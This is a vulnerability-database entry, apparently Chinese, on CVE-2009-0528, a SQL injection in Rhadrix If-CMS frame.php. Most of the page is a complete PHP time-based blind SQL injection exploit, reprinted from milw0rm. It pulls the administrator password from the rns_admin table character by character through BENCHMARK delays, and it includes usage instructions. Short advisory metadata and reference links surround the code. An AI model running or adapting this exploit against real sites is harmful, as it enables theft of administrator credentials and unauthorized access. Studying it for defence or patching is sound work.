Rhadrix If-CMS 'frame.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117378 漏洞类型 SQL注入
发布时间 2009-02-09 更新时间 2009-02-12
CVE编号 CVE-2009-0528 CNNVD-ID CNNVD-200902-275
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8007
https://cxsecurity.com/issue/WLB-2009020170
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-275
|漏洞详情
If-CMS是一款基于PHP和Mysql的网站引擎。RhadrixIf-CMS2.07及之前版本中的frame.php存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意的SQL指令。
|漏洞EXP
--+++=======================================================+++--
--+++====== IF-CMS <= 2.0 Blind SQL Injection Exploit ======+++--
--+++=======================================================+++--

<?php

function query ($username, $char, $pos)
{
	//Increase benchmark when exploit prints uncorrect passwords

	$query = "x' OR IF ((ASCII(SUBSTRING((SELECT pass FROM rns_admin WHERE ".
		 "nick = '{$username}'),{$pos},1))={$char}), BENCHMARK(100000000,CHAR(0)),0) OR '1' = '2";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);
	return $query;
}

function exploit ($hostname, $path, $username, $char, $pos)
{
	$char = ord ($char);
	$fp = fsockopen ($hostname, 80);
	$get =  "GET {$path}/frame.php?id=". query ($username, $char, $pos) . " HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n\r\n";
		$a = time ();
	fputs ($fp, $get);
	while (!feof ($fp))
		fgets ($fp, 1024);

	fclose ($fp);
	$a = time () - $a;
	if ($a > 4)
		return true;
	else
		return false;

}

function usage ()
{
	echo "\nIF-CMS <= 2.0 Blind SQL Injection Exploit".
	     "\n[+] Author  : darkjoker".
	     "\n[+] Site    : http://darkjoker.net23.net".
	     "\n[+] Download: http://downloads.sourceforge.net/if-cms/If-CMS-2.07.zip?modtime=1088812800&big_mirror=0".
	     "\n[+] Usage   : php xpl.php <hostname> <path> <username>".
	     "\n[+] Ex.     : php xpl.php localhost /IF-CMS root".
	     "\n\n";
	exit ();
}

if ($argc != 4)
	usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
//Edit this keylist when returned password is incomplete and add other characters you want
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$chr = 0;
$pos = 1;
echo "[+] Password: ";
while ($chr < strlen ($key))
{
	if (exploit ($hostname, $path, $user, $key [$chr], $pos))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}
echo "\n\n";
?>

# milw0rm.com [2009-02-09]
|参考资料

来源:BID
名称:33697
链接:http://www.securityfocus.com/bid/33697
来源:MILW0RM
名称:8007
链接:http://www.milw0rm.com/exploits/8007
来源:SECUNIA
名称:33883
链接:http://secunia.com/advisories/33883